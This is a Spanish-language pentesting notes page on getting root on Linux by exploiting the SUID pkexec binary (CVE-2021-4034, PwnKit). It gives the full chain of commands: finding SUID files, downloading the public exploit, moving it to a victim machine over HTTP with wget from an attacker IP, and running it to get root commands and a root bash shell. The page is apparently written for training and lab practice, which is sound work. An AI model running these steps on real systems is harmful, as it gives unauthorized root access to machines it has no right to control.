> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/suid/suid-pkexec-linux-privilege-escalation.md).

# SUID (Pkexec) - Escalada de privilegios en Linux

## Qué es

Los binarios SUID se ejecutan con los privilegios de su propietario, a menudo root. Un binario SUID vulnerable, desactualizado o demasiado flexible puede leer archivos protegidos, abrir una shell con privilegios o ejecutar código controlado por un atacante. Esta página específica se centra en **SUID (Pkexec)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Ejemplos

{% hint style="info" %}
El **CVE-2021-4034** vulnerabilidad (PwnKit) en **pkexec** de **polkit** permite la escalada local de privilegios en Linux. Al usar una validación incorrecta de los argumentos, un atacante puede ejecutar código con privilegios de root. Este fallo crítico, fácilmente explotable, afecta a muchas distribuciones y requiere una actualización urgente de polkit.
{% endhint %}

{% embed url="<https://github.com/ly4k/PwnKit>" %}

### Pasos para explotar el binario SUID

**Identificar archivos con el bit SUID habilitado**

Para buscar archivos con el bit SUID (que permite la ejecución con privilegios del propietario, a menudo `root`), usa el comando:

```bash
find / -perm -4000 2>/dev/null
```

Entre los resultados, identifica el binario vulnerable **`pkexec`**.

<figure><img src="/files/7d63a0f3a630ed17a59f6d81d7b3d28135553cd6" alt=""><figcaption></figcaption></figure>

## Explotación de la vulnerabilidad

**Descargar el exploit en la máquina atacante**

Desde la máquina atacante, descarga el script del exploit:

```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
```

**Transferir el exploit a la máquina víctima**

Para transferir el exploit, ejecuta un servidor HTTP simple en la máquina atacante:

```bash
python3 -m http.server 80
```

En la máquina víctima, descarga el archivo y concede permisos de ejecución:

```bash
wget http://10.10.10.10/PwnKit
```

```bash
chmod +x PwnKit
```

<figure><img src="/files/12b4fa654927be6212e40c8c598afd4f6943904a" alt=""><figcaption></figcaption></figure>

Ejecutar el exploit

Una vez que el archivo esté listo, puedes ejecutar comandos con privilegios de root. Por ejemplo:

* Para mostrar el ID de usuario (`id`):

```bash
./PwnKit '<command>'
```

```bash
./PwnKit 'id'
```

<figure><img src="/files/d0f25cac1c1f9ba701925380f0380b8d9b8e0cd3" alt=""><figcaption></figcaption></figure>

* Para obtener una sesión de bash con privilegios de root:

```bash
./PwnKit 'bash -p'
```

<figure><img src="/files/436a079544ffba282c2a8aeb86dcbdfe2f3fe110" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/suid/suid-pkexec-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
